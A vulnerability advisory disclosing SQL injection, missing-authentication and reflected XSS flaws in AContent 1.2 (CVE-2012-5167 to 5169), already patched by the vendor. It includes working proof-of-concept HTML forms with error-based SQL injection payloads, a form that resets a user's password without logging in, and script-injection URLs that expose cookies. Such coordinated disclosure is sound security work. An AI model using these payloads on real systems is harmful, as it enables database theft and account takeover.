Advisory ID: HTB23117
Product: AContent
Vendor: ATutor
Vulnerable Version(s): 1.2 and probably prior
Tested Version: 1.2
Vendor Notification: September 26, 2012 
Public Disclosure: October 17, 2012 
Vulnerability Type: SQL Injection [CWE-89], Improper Authentication [CWE-287], 
Cross-Site Scripting [CWE-79]
CVE References: CVE-2012-5167, CVE-2012-5168, CVE-2012-5169
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.5 
(AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
AContent, which can be exploited to bypass authentication and to perform 
Cross-Site Scripting (XSS) and SQL Injection attacks.


1) SQL Injection in AContent: CVE-2012-5167

1.1 The vulnerability exists due to insufficient sanitation of input data in 
the "field" HTTP POST parameter in 
/course_category/index_inline_editor_submit.php. A remote unauthenticated user 
can execute arbitrary SQL commands in application`s database. 

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/course_category/index_inline_editor_submit.php"; 
method="post">
<input type="hidden" name="field" value="category_name-1 AND 1=(select 
min(@a:=1)from (select 1 union select 2)k group by (select 
concat(@@version,0x0,@a:=(@a+1)%2)))" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>


1.2 The vulnerability exists due to insufficient sanitation of input data in 
the "field" HTTP POST parameter in /user/index_inline_editor_submit.php. A 
remote unauthenticated user can execute arbitrary SQL commands in application`s 
database. 

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/user/index_inline_editor_submit.php"; method="post">
<input type="hidden" name="field" value="password=((select min(@a:=1)from 
(select 1 union select 2)k group by (select 
concat(@@version,0x0,@a:=(@a+1)%2))))-1" />
<input type="hidden" name="value" value="1" />
<input type="submit" id="btn">
</form>


1.3 Input passed via the "id" GET parameter to /user/user_password.php in POST 
request is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC (Proof of Concept) demonstrates the vulnerability: 


<form action="http://[host]/user/user_password.php?id=1' AND 1=(select 
min(@a:=1)from (select 1 union select 2)k group by (select 
concat(@@version,0x0,@a:=(@a%2b1)%252)))%20--%20" method="post">
<input type="hidden" name="submit" value="1" />
<input type="submit" id="btn">
</form>


Successful exploitation of vulnerability 1.3 requires attacker to be registered 
and logged-in.


2) Improper Authentication in AContent: CVE-2012-5168

2.1 The vulnerability exists due to absent authentication in the 
"/user/index_inline_editor_submit.php" script. A remote unauthorized attacker 
can change users' passwords.

The following example will change password for user with id=1 to 'password'.


<form action="http://[host]/user/index_inline_editor_submit.php"; method="post">
<input type="hidden" name="field" value="password-1" />
<input type="hidden" name="value" 
value="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" />
<input type="submit" id="btn">
</form>


2.2 The vulnerability exists due to absent authentication in the 
"/course_category/index_inline_editor_submit.php" script. A remote unauthorized 
attacker can modify names for existing categories.

The following example will change category name with id=1 to 'new_category':


<form action="http://[host]/course_category/index_inline_editor_submit.php"; 
method="post">
<input type="hidden" name="field" value="category_name-1" />
<input type="hidden" name="value" value="new_category" />
<input type="submit" id="btn">
</form>



3) Cross-Site Scripting (XSS) in AContent: CVE-2012-5169

Input passed via the HTTP GET parameters "pathext", "popup", "framed", and 
"file" to /file_manager/preview_top.php is not properly sanitised before being 
returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's 
browser session in context of an affected website.

The following PoCs (Proof of Concept) demonstrate the vulnerabilities:

http://[host]/file_manager/preview_top.php?pathext=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?popup=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/file_manager/preview_top.php?file=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E



-----------------------------------------------------------------------------------------------

Solution:

Users should apply patches #1 and #2 using the AContent Administrator's Updater 
tool

More Information:
http://update.atutor.ca/acontent/patch/1_2/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23117 - 
https://www.htbridge.com/advisory/HTB23117 - Multiple vulnerabilities in 
AContent.
[2] AContent  - http://atutor.ca - AContent is an open source learning content 
authoring system and respository used to create interoperable, accessible, 
adaptive Web-based learning content.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.

Reply via email to